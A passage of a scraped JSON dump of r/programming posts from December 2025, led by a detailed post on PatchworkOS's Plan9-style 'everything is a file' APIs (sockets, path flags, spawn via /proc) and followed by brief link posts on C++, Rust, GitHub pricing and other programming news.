  "body": "[PatchworkOS](https://github.com/KaiNorberg/PatchworkOS) strictly follows the \"everything is a file\" philosophy in a way inspired by Plan9, this can often result in unorthodox APIs that seem overcomplicated at first, but the goal is to provide a simple, consistent and most importantly composable interface for all kernel subsystems, more on this later.\n\nIncluded below are some examples to familiarize yourself with the concept. We, of course, cannot cover everything, so the concepts presented here are the ones believed to provide the greatest insight into the philosophy.\n\n## Sockets\n\nThe first example is sockets, specifically how to create and use local seqpacket sockets.\n\nTo create a local seqpacket socket, you open the `/net/local/seqpacket` file. This is equivalent to calling `socket(AF_LOCAL, SOCK_SEQPACKET, 0)` in POSIX systems. The opened file can be read to return the \"ID\" of the newly created socket which is a string that uniquely identifies the socket, more on this later.\n\nPatchworkOS provides several helper functions to make file operations easier, but first we will show how to do it without any helpers:\n\n    fd_t fd = open(\"/net/local/seqpacket\");\n    char id[32] = {0};\n    read(fd, id, 31); \n    // ... do stuff ...\n    close(fd);\n\nUsing the `sread()` helper which reads a null-terminated string from a file descriptor, we can simplify this to:\n\n    fd_t fd = open(\"/net/local/seqpacket\");\n    char* id = sread(fd); \n    close(fd);\n    // ... do stuff ...\n    free(id);\n\nFinally, using use the `sreadfile()` helper which reads a null-terminated string from a file from its path, we can simplify this even further to:\n\n    char* id = sreadfile(\"/net/local/seqpacket\"); \n    // ... do stuff ...\n    free(id);\n\n> Note that the socket will persist until the process that created it and all its children have exited. Additionally, for error handling, all functions will return either `NULL` or `ERR` on failure, depending on if they return a pointer or an integer type respectively. The per-thread `errno` variable is used to indicate the specific error that occurred, both in user space and kernel space (however the actual variable is implemented differently in kernel space).\n\nNow that we have the ID, we can discuss what it actually is. The ID is the name of a directory in the `/net/local` directory, in which the following files exist:\n\n- `data`: Used to send and retrieve data\n- `ctl`: Used to send commands\n- `accept`: Used to accept incoming connections\n\nSo, for example, the sockets data file is located at `/net/local/[id]/data`.\n\nSay we want to make our socket into a server, we would then use the `ctl` file to send the `bind` and `listen` commands, this is similar to calling `bind()` and `listen()` in POSIX systems. In this case, we want to bind the server to the name `myserver`.\n\nOnce again, we provide several helper functions to make this easier. First, without any helpers:\n\n    char ctlPath[MAX_PATH] = {0};\n    snprintf(ctlPath, MAX_PATH, \"/net/local/%s/ctl\", id)\n    fd_t ctl = open(ctlPath);\n    const char* str = \"bind myserver && listen\"; // Note the use of && to send multiple commands.\n    write(ctl, str, strlen(str));\n    close(ctl);\n\nUsing the `F()` macro which allocates formatted strings on the stack and the `swrite()` helper that writes a null-terminated string to a file descriptor:\n\n    fd_t ctl = open(F(\"/net/local/%s/ctl\", id));\n    swrite(ctl, \"bind myserver && listen\")\n    close(ctl);\n\nFinally, using the `swritefile()` helper which writes a null-terminated string to a file from its path:\n\n    swritefile(F(\"/net/local/%s/ctl\", id), \"bind myserver && listen\");\n\nIf we wanted to accept a connection using our newly created server, we just open its accept file:\n\n    fd_t fd = open(F(\"/net/local/%s/accept\", id));\n    /// ... do stuff ...\n    close(fd);\n\nThe file descriptor returned when the accept file is opened can be used to send and receive data, just like when calling `accept()` in POSIX systems.\n\nFor the sake of completeness, to connect the server we just create a new socket and use the `connect` command:\n\n    char* id = sreadfile(\"/net/local/seqpacket\");\n    swritefile(F(\"/net/local/%s/ctl\", id), \"connect myserver\");\n    free(id);\n\n[Documentation](https://kainorberg.github.io/PatchworkOS/html/df/d65/group__module__net.html)\n\n## File Flags?\n\nYou may have noticed that in the above section sections the `open()` function does not take in a flags argument. This is because flags are directly part of the file path so to create a non-blocking socket:\n\n    open(\"/net/local/seqpacket:nonblock\");\n\nMultiple flags are allowed, just separate them with the `:` character, this means flags can be easily appended to a path using the `F()` macro. Each flag also has a shorthand version for which the `:` character is omitted, for example to open a file as create and exclusive, you can do\n\n    open(\"/some/path:create:exclusive\");\n\nor\n\n    open(\"/some/path:ce\");\n\nFor a full list of available flags, check the [Documentation](https://kainorberg.github.io/PatchworkOS/html/dd/de3/group__kernel__fs__path.html).\n\n## Permissions?\n\nPermissions are also specified using file paths there are three possible permissions, read, write and execute. For example to open a file as read and write, you can do\n\n    open(\"/some/path:read:write\");\n\nor\n\n    open(\"/some/path:rw\");\n\nPermissions are inherited, you can't use a file with lower permissions to get a file with higher permissions. Consider the namespace section, if a directory was opened using only read permissions and that same directory was bound, then it would be impossible to open any files within that directory with any permissions other than read.\n\nFor a full list of available permissions, check the [Documentation](https://kainorberg.github.io/PatchworkOS/html/dd/de3/group__kernel__fs__path.html).\n\n## Spawning Processes\n\nAnother example of the \"everything is a file\" philosophy is the `spawn()` syscall used to create new processes. We will skip the usual debate on `fork()` vs `spawn()` and just focus on how `spawn()` works in PatchworkOS as there are enough discussions about that online.\n\nThe `spawn()` syscall takes in two arguments:\n\n- `const char** argv`: The argument vector, similar to POSIX systems except that the first argument is always the path to the executable.\n- `spawn_flags_t flags`: Flags controlling the creation of the new process, primarily what to inherit from the parent process.\n\nThe system call may seem very small in comparison to, for example, `posix_spawn()` or `CreateProcess()`. This is intentional, trying to squeeze every possible combination of things one might want to do when creating a new process into a single syscall would be highly impractical, as those familiar with `CreateProcess()` may know.\n\nPatchworkOS instead allows the creation of processes in a suspended state, allowing the parent process to modify the child process before it starts executing.\n\nAs an example, let's say we wish to create a child such that its stdio is redirected to some file descriptors in the parent and create an environment variable `MY_VAR=my_value`.\n\nFirst, let's pretend we have some set of file descriptors and spawn the new process in a suspended state using the `SPAWN_SUSPENDED` flag\n\n    fd_t stdin = ...;\n    fd_t stdout = ...;\n    fd_t stderr = ...;\n    \n    const char* argv[] = {\"/bin/shell\", NULL};\n    pid_t child = spawn(argv, SPAWN_SUSPENDED);\n\nAt this point, the process exists but its stuck blocking before it is can load its executable. Additionally, the child process has inherited all file descriptors and environment variables from the parent process.\n\nNow we can redirect the stdio file descriptors in the child process using the `/proc/[pid]/ctl` file, which just like the socket ctl file, allows us to send commands to control the process. In this case, we want to use two commands, `dup2` to redirect the stdio file descriptors and `close` to close the unneeded file descriptors.\n\n    swritefile(F(\"/proc/%d/ctl\", child), F(\"dup2 %d 0 && dup2 %d 1 && dup2 %d 2 && close 3 -1\", stdin, stdout, stderr));\n\n> Note that `close` can either take one or two arguments. When two arguments are provided, it closes all file descriptors in the specified range. In our case `-1` causes a underflow to the maximum file descriptor value, closing all file descriptors higher than or equal to the first argument.\n\nNext, we create the environment variable by creating a file in the child's `/proc/[pid]/env/` directory:\n\n    swritefile(F(\"/proc/%d/env/MY_VAR:create\", child), \"my_value\");\n\nFinally, we can start the child process using the `start` command:\n\n    swritefile(F(\"/proc/%d/ctl\", child), \"start\");\n\nAt this point the child process will begin executing with its stdio redirected to the specified file descriptors and the environment variable set as expected.\n\nThe advantages of this approach are numerous, we avoid COW issues with `fork()`, weirdness with `vfork()`, system call bloat with `CreateProcess()`, and we get a very flexible and powerful process creation system that can use any of the other file based APIs to modify the child process. In exchange, the only real price we pay is overhead from additional context switches, string parsing and path traversals, how much this matters in practice is debatable.\n\nFor more on `spawn()`, check the [Userspace Process API Documentation](https://kainorberg.github.io/PatchworkOS/html/d1/d10/group__libstd__sys__proc.html#gae41c1cb67e3bc823c6d0018e043022eb) and for more information on the `/proc` filesystem, check the [Kernel Process Documentation](https://kainorberg.github.io/PatchworkOS/html/da/d0f/group__kernel__proc.html).\n\n## Notes (Signals)\n\nThe next feature to discuss is the \"notes\" system. Notes are PatchworkOS's equivalent to POSIX signals which asynchronously send strings to processes.\n\nWe will skip how to send and receive notes along with details like process groups (check the docs for that), instead focusing on the biggest advantage of the notes system, additional information.\n\nLet's take an example. Say we are debugging a segmentation fault in a program, which is a rather common scenario. In a usual POSIX environment, we might be told \"Segmentation fault (core dumped)\" or even worse \"SIGSEGV\", which is not very helpful. The core limitation is that signals are just integers, so we can't provide any additional information.\n\nIn PatchworkOS, a note is a string where the first word of the string is the note type and the rest is arbitrary data. So in our segmentation fault example, the shell might produce output like:\n\n    shell: pagefault at 0x40013b due to stack overflow at 0x7ffffff9af18\n\n> Note that the output provided is from the \"stackoverflow\" program which intentionally causes a stack overflow through recursion.\n\nAll that happened is that the shell printed the exit status of the process, which is also a string and in this case is set to the note that killed the process. This is much more useful, we know the exact address and the reason for the fault.\n\nFor more details, see the [Notes Documentation](https://kainorberg.github.io/PatchworkOS/html/d8/db1/group__kernel__ipc__note.html), [Standard Library Process Documentation](https://kainorberg.github.io/PatchworkOS/html/d1/d10/group__libstd__sys__proc.html) and the [Kernel Process Documentation](https://kainorberg.github.io/PatchworkOS/html/da/d0f/group__kernel__proc.html).\n\n## But why?\n\nI'm sure you have heard many an argument for and against the \"everything is a file\" philosophy. So I won't go over everything, but the primary reason for using it in PatchworkOS is \"emergent behavior\" or \"composability\" whichever term you prefer.\n\nTake the `spawn()` example, notice how there is no specialized system for setting up a child after it's been created? Instead, we have a set of small, simple building blocks that when added together form a more complex whole. That is emergent behavior, by keeping things simple and most importantly composable, we can create very complex behavior without needing to explicitly design it.\n\nLet's take another example, say you wanted to wait on multiple processes with a `waitpid()` syscall. Well, that's not possible. So now we suddenly need a new system call. Meanwhile, in an \"everything is a file system\" we just have a pollable `/proc/[pid]/wait` file that blocks until the process dies and returns the exit status, now any behavior that can be implemented with `poll()` can be used while waiting on processes, including waiting on multiple processes at once, waiting on a keyboard and a process, waiting with a timeout, or any weird combination you can think of.\n\nPlus its fun.",
  "author": "KN_9296",
  "subreddit": "programming",
  "score": 273,
  "upvoteRatio": 0.91,
  "numComments": 31,
  "createdAt": "2025-12-21T10:26:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/KaiNorberg/PatchworkOS",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ps0m3w",
  "url": "https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2025/p3100r5.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1ps0m3w/a_systematic_framework_to_eliminate_all_ub_from_c/",
  "title": "A systematic framework to eliminate all UB from C++",
  "body": "This is a high-level interesting on-going paper about how C++ plans to improve safety.\n\nThis includes strategies:\n\n\n - feature removal \n - refined behaviour \n - erroneous behaviour \n - insertion of runtime checks\n - language subsetting (via profiles, probably) \n - the introduction of annotations \n - the introduction of entirely new language features\n\nThe paper takes into account that C++ is a language that should keep compiling with older code but should do it with newer code in a safer way (via opt-ins/outs).\n\n\n",
  "author": "germandiago",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 8,
  "createdAt": "2025-12-21T07:18:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.open-std.org/jtc1/sc22/wg21/docs/papers/2025/p3100r5.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1prm89i",
  "url": "https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/1prm89i/what_do_people_love_about_rust/",
  "title": "What do people love about Rust?",
  "body": null,
  "author": "steveklabnik1",
  "subreddit": "programming",
  "score": 67,
  "upvoteRatio": 0.71,
  "numComments": 127,
  "createdAt": "2025-12-20T19:15:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pr44ro",
  "url": "https://dgerrells.com/blog/how-to-make-a-game-engine",
  "permalink": "https://www.reddit.com/r/programming/comments/1pr44ro/how_to_make_a_game_engine_in_javascript/",
  "title": "How to make a game engine in javascript",
  "body": null,
  "author": "Outrageous-guffin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 0,
  "createdAt": "2025-12-20T03:16:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dgerrells.com/blog/how-to-make-a-game-engine",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pqr8f6",
  "url": "https://www.youtube.com/watch?v=gJ9UZlr6C6M",
  "permalink": "https://www.reddit.com/r/programming/comments/1pqr8f6/a_decade_on_datomic_davis_shepherd_jonathan_indig/",
  "title": "A Decade on Datomic - Davis Shepherd & Jonathan Indig (Netflix)",
  "body": null,
  "author": "alexdmiller",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-12-19T17:38:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=gJ9UZlr6C6M",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pqm7y8",
  "url": "https://youtu.be/7fGB-hjc2Gc?si=WK8TQAuZ4nazM63E",
  "permalink": "https://www.reddit.com/r/programming/comments/1pqm7y8/the_worst_programming_language_of_all_time/",
  "title": "The worst programming language of all time",
  "body": null,
  "author": "Maybe-monad",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 9,
  "createdAt": "2025-12-19T14:18:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/7fGB-hjc2Gc?si=WK8TQAuZ4nazM63E",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pq2sdq",
  "url": "https://en.wikipedia.org/wiki/Margaret_Hamilton_%28software_engineer%29",
  "permalink": "https://www.reddit.com/r/programming/comments/1pq2sdq/how_apollo_11s_onboard_software_handled_overloads/",
  "title": "How Apollo 11’s onboard software handled overloads in real time lessons from Margaret Hamilton’s work",
  "body": "the onboard guidance computer became overloaded and began issuing program alarms.  \n  \nInstead of crashing, the software’s priority-based scheduling and task dropping allowed it to recover and continue executing only the most critical functions. This decision directly contributed to a successful landing.  \n  \nMargaret Hamilton’s team designed the system to assume failures would happen and to handle them gracefully an early and powerful example of fault-tolerant, real-time software design.  \n  \nMany of the ideas here still apply today: defensive programming, prioritization under load, and designing for the unknown.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 313,
  "upvoteRatio": 0.95,
  "numComments": 25,
  "createdAt": "2025-12-18T21:28:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://en.wikipedia.org/wiki/Margaret_Hamilton_%28software_engineer%29",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ppzixe",
  "url": "https://simonwillison.net/2025/Dec/18/code-proven-to-work/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ppzixe/your_job_is_to_deliver_code_you_have_proven_to/",
  "title": "Your job is to deliver code you have proven to work",
  "body": null,
  "author": "ccb621",
  "subreddit": "programming",
  "score": 401,
  "upvoteRatio": 0.91,
  "numComments": 177,
  "createdAt": "2025-12-18T19:19:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://simonwillison.net/2025/Dec/18/code-proven-to-work/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ppzbqx",
  "url": "https://www.theregister.com/2025/12/17/github_charge_dev_own_hardware/?td=rt-3a",
  "permalink": "https://www.reddit.com/r/programming/comments/1ppzbqx/github_walks_back_plan_to_charge_for_selfhosted/",
  "title": "GitHub walks back plan to charge for self-hosted runners",
  "body": null,
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 1932,
  "upvoteRatio": 0.99,
  "numComments": 208,
  "createdAt": "2025-12-18T19:11:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2025/12/17/github_charge_dev_own_hardware/?td=rt-3a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ppv03i",
  "url": "https://leetarxiv.substack.com/p/glv-point-decomposition",
  "permalink": "https://www.reddit.com/r/programming/comments/1ppv03i/python_guide_to_faster_point_multiplication_on/",
  "title": "Python Guide to Faster Point Multiplication on Elliptic Curves",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2025-12-18T16:23:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/glv-point-decomposition",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ppp6cm",
  "url": "https://www.speakeasy.com/blog/building-speakeasy-openapi-go-library",
  "permalink": "https://www.reddit.com/r/programming/comments/1ppp6cm/under_the_hood_building_a_highperformance_openapi/",
  "title": "Under the Hood: Building a High-Performance OpenAPI Parser in Go | Speakeasy",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 1,
  "createdAt": "2025-12-18T12:05:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.speakeasy.com/blog/building-speakeasy-openapi-go-library",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ppejs9",
  "url": "https://www.artmann.co/articles/30-years-of-br-tags",
  "permalink": "https://www.reddit.com/r/programming/comments/1ppejs9/30_years_of_br_tags/",
  "title": "30 Years of <br> Tags",
  "body": null,
  "author": "brokePlusPlusCoder",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 51,
  "createdAt": "2025-12-18T01:45:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.artmann.co/articles/30-years-of-br-tags",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1poqn8v",
  "url": "https://www.theregister.com/2025/12/16/mi6_chief_well_be_as/",
  "permalink": "https://www.reddit.com/r/programming/comments/1poqn8v/mi6_british_intelligence_equivalent_to_the_cia/",
  "title": "MI6 (British Intelligence equivalent to the CIA) will be requiring new agents to learn how to code in Python. Not only that, but they're widely publicizing it.",
  "body": "Quote from the article:\n\n>*This demands what she called \"mastery of technology\" across the service, with officers required to become \"as comfortable with lines of code as we are with human sources, as fluent in Python as we are in multiple other languages*",
  "author": "BrianScottGregory",
  "subreddit": "programming",
  "score": 309,
  "upvoteRatio": 0.93,
  "numComments": 72,
  "createdAt": "2025-12-17T07:38:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2025/12/16/mi6_chief_well_be_as/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pokx5j",
  "url": "https://astral.sh/blog/ty",
  "permalink": "https://www.reddit.com/r/programming/comments/1pokx5j/ty_a_fast_python_type_checker_by_the_uv_devs_is/",
  "title": "ty, a fast Python type checker by the uv devs, is now in beta",
  "body": null,
  "author": "NYPuppy",
  "subreddit": "programming",
  "score": 379,
  "upvoteRatio": 0.96,
  "numComments": 50,
  "createdAt": "2025-12-17T02:26:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://astral.sh/blog/ty",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pobd3w",
  "url": "https://blog.kraken.com/product/engineering/rust-part-2-from-bet-to-backbone",
  "permalink": "https://www.reddit.com/r/programming/comments/1pobd3w/from_experiment_to_backbone_adopting_rust_in/",
  "title": "From Experiment to Backbone: Adopting Rust in Production",
  "body": null,
  "author": "magnet9000",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.58,
  "numComments": 0,
  "createdAt": "2025-12-16T19:37:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.kraken.com/product/engineering/rust-part-2-from-bet-to-backbone",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1po996g",
  "url": "https://github.blog/changelog/2025-12-16-coming-soon-simpler-pricing-and-a-better-experience-for-github-actions/",
  "permalink": "https://www.reddit.com/r/programming/comments/1po996g/starting_march_1_2026_github_will_introduce_a_new/",
  "title": "Starting March 1, 2026, GitHub will introduce a new $0.002 per minute fee for self-hosted runner usage.",
  "body": null,
  "author": "turniphat",
  "subreddit": "programming",
  "score": 2091,
  "upvoteRatio": 0.98,
  "numComments": 385,
  "createdAt": "2025-12-16T18:17:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/changelog/2025-12-16-coming-soon-simpler-pricing-and-a-better-experience-for-github-actions/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1po5nq5",
  "url": "https://coderschmoder.com/i-time-traveled-1979-met-bjarne-stroustrup",
  "permalink": "https://www.reddit.com/r/programming/comments/1po5nq5/if_you_timetraveled_to_1979_and_found_yourself/",
  "title": "\"If you time-traveled to 1979 and found yourself sitting across from me in my office at Bell Labs—just as I was drafting the initial designs for what would become 'C with Classes'—what would you tell me?\": A homework by Bjarne Stroustrup.",
  "body": "This was a homework given by Bjarne Stroustrup when he was my professor at Texas A&M University in Spring Semester of 2013. The course, Generic Programming in C++, was one of the most fun classes I took at Texas A&M University. I'm posting it in my blog (click link above).\n\nTake note that I updated the essay to reflect current C++ releases. My original essay was written when C++11 was released, and I mostly talked about RAII, and data type abstractions. Although I thought my essay was lacking in substance, he gave me a 95 :-D. So, I thought I update my essay and share it with you. When he gave the homework I think the context of the conversation was critics were ready for C++ to die because of lack of garbage collection or memory management, and the homework was akin to killing two birds with one stone(so to speak) - one, to see if we understand RAII and the life cycle of a C++ object, and two, how we see this \"shortcomings\" of C++.\n\nHow about you? If you time-travel back to 1979, what would you tell him?",
  "author": "CoderSchmoder",
  "subreddit": "programming",
  "score": 324,
  "upvoteRatio": 0.95,
  "numComments": 179,
  "createdAt": "2025-12-16T16:01:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://coderschmoder.com/i-time-traveled-1979-met-bjarne-stroustrup",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1po3i99",
  "url": "https://rescript-lang.org/blog/what-can-i-do-with-rescript/",
  "permalink": "https://www.reddit.com/r/programming/comments/1po3i99/what_can_i_do_with_rescript/",
  "title": "What can I do with ReScript?",
  "body": null,
  "author": "BeamMeUpBiscotti",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.59,
  "numComments": 2,
  "createdAt": "2025-12-16T14:36:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rescript-lang.org/blog/what-can-i-do-with-rescript/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pnzgf3",
  "url": "https://blog.cleancoder.com/uncle-bob/2016/07/27/TheChurn.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pnzgf3/the_churn/",
  "title": "The Churn",
  "body": "Classic, but very timely Uncle Bob's take on the Shiny New Object syndrome and the constant need for The Next Big Thing.",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 13,
  "createdAt": "2025-12-16T11:18:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cleancoder.com/uncle-bob/2016/07/27/TheChurn.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pnz3n0",
  "url": "https://blog.jetbrains.com/fleet/2025/12/the-future-of-fleet/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pnz3n0/jetbrains_fleet_dropped_for_ai_products_instead/",
  "title": "JetBrains Fleet dropped for AI products instead",
  "body": "JetBrains Fleet was going to be an alternative to VS Code and seemed quite promising. After over 3 years of development since the first public preview release, it’s now dropped in order to make room for AI (Agentic) products.\n\n*– “Starting December 22, 2025, Fleet will no longer be available for download. We are now building a new product focused on agentic development”*\n\nAt the very least, they’re considering open sourcing it, but it’s not definite. [A comment from the author of the article](https://blog.jetbrains.com/fleet/2025/12/the-future-of-fleet/#remark42__comment-f3d6d88b-f10d-4f0a-9579-a6b940314b01) regarding open sourcing Fleet:\n\n– *“It’s something we’re considering but we don’t have immediate plans for that at the moment.”*",
  "author": "markmanam",
  "subreddit": "programming",
  "score": 721,
  "upvoteRatio": 0.95,
  "numComments": 174,
  "createdAt": "2025-12-16T10:57:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jetbrains.com/fleet/2025/12/the-future-of-fleet/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pnti2v",
  "url": "https://www.zdnet.com/article/linus-torvalds-ai-tool-maintaining-linux-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pnti2v/linus_torvalds_is_a_huge_believer_in_using_ai_to/",
  "title": "Linus Torvalds is 'a huge believer' in using AI to maintain code - just don't call it a revolution",
  "body": null,
  "author": "Fcking_Chuck",
  "subreddit": "programming",
  "score": 1041,
  "upvoteRatio": 0.9,
  "numComments": 177,
  "createdAt": "2025-12-16T05:03:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/linus-torvalds-ai-tool-maintaining-linux-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pnlk3k",
  "url": "https://rescript-lang.org/blog/reforging-build-system/",
  "permalink": "https://www.reddit.com/r/programming/comments/1pnlk3k/reforging_the_rescript_build_system/",
  "title": "Reforging the ReScript Build System",
  "body": "ReScript 12 introduces a completely new build system that brings intelligent dependency tracking, faster incremental builds, and proper monorepo support. \n\nPurpose-built from Rust, this new system tracks dependencies more intelligently, enables unified watch mode across packages, supports parallel builds, and improves incremental compilation — particularly in monorepo environments.\n\nThe new system is designed to reduce unnecessary work, and aims for more predictable rebuilds and better cross-package coordination.",
  "author": "BeamMeUpBiscotti",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2025-12-15T22:49:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rescript-lang.org/blog/reforging-build-system/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1pn9m4u",
  "url": "https://spring-java-lab.blogspot.com/2025/12/java-25-virtual-threads-benchmarks-pitfalls.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1pn9m4u/java_25_virtual_threads_what_worked_and_what/",
  "title": "Java 25 virtual threads – what worked and what didn’t for us",
  "body": null,
  "author": "SpringJavaLab",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 10,
  "createdAt": "2025-12-15T15:05:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spring-java-lab.blogspot.com/2025/12/java-25-virtual-threads-benchmarks-pitfalls.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
